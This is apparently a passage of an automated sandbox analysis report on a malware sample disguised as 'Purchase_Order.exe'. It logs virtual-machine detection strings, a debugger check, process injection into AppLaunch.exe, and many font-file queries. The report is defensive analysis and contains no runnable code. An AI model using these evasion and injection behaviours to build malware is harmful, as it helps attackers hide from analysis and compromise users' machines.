Source: Spectrum.exe, 0000001A.00000003.342699486.000000000058A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: XSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: Spectrum.exe, 0000001A.00000003.343093122.0000000000590000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 4NECVMWar VMware SATA CD00
Source: Spectrum.exe, 0000001A.00000003.343093122.0000000000590000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: AASCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: Spectrum.exe, 0000001A.00000003.342699486.000000000058A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: NECVMWar VMware SATA CD00
Source: Purchase_Order.exe, 00000001.00000003.361199397.0000000001851000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.281656669.0000000001852000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.287303905.0000000001851000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.276307752.0000000001852000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.287303905.000000000182B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.279130409.000000000182B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.274054621.0000000001850000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.275362411.0000000001851000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.275362411.00000000017C3000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000002.793544673.0000000001825000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Spectrum.exe, 0000001A.00000002.783923102.0000000000550000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: NVVMware Virtual disk SCSI Disk DeviceC:\Windows\System32\DDORes.dll,-2511O
Source: Spectrum.exe, 0000001A.00000002.783923102.0000000000550000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: IVVMware Virtual disk SCSI Disk DeviceC:\Windows\System32\DDORes.dll,-2511O
Source: Spectrum.exe, 0000001A.00000002.787878485.000000000057D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: zVMware Virtual disk SCSI Disk Device
Source: SensorDataService.exe, 00000018.00000003.334097047.0000000000656000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: `heSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: Spectrum.exe, 0000001A.00000002.787878485.000000000057D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: xprNECVMWar VMware SATA CD00esc%;PCI Express R
Source: ssh-agent.exe, 0000001C.00000002.784004938.0000000000489000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllO-
Source: Spectrum.exe, 0000001A.00000003.342637398.000000000056B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter
Source: AppVClient.exe, 0000000F.00000003.295290367.0000000000478000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 0000000F.00000002.296013858.0000000000484000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 0000000F.00000003.295131057.0000000000475000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 0000000F.00000003.295664713.0000000000484000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 0000000F.00000003.295488778.000000000047C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ItwareClients/appv:JavaVirtualMachine
Source: Spectrum.exe, 0000001A.00000003.343093122.0000000000590000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: JVMware Virtual disk SCSI Disk Device
Source: snmptrap.exe, 00000019.00000002.778940494.0000000000529000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllii
Source: C:\Windows\System32\TieringEngineService.exe Process queried: DebugPort
Source: C:\Users\user\Desktop\Purchase_Order.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Users\user\Desktop\Purchase_Order.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: B00000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 918008 Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process created: C:\Users\user\Desktop\Purchase_Order.exe C:\Users\user\Desktop\Purchase_Order.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe Jump to behavior
Source: Purchase_Order.exe, 00000001.00000003.576194637.00000000015C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: GShift+Alt+KeypadPlusMinusDecimalDivideMultiplyLeftRightUpDownInsertEndEnterSpaceEscapeWinMenuPLAT_WINPLAT_WINNTPropertiesEmbeddedtoolbar.largeACCELSSciTESciTEWindowSciTEWindowContentlatin1latin2big5gbkshift_jiseuc-krcyrilliciso-8859-5iso8859-111250windows-1251translation.encodingSciTE_HOMESciTE_USERHOMEUSERPROFILEHHCTRL.OCXHtmlHelpWRich Text FormatShell_TrayWndButtonfull
Source: C:\Windows\System32\TieringEngineService.exe Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Users\user\Desktop\Purchase_Order.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms.DataVisualization\v4.0_4.0.0.0__31bf3856ad364e35\System.Windows.Forms.DataVisualization.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
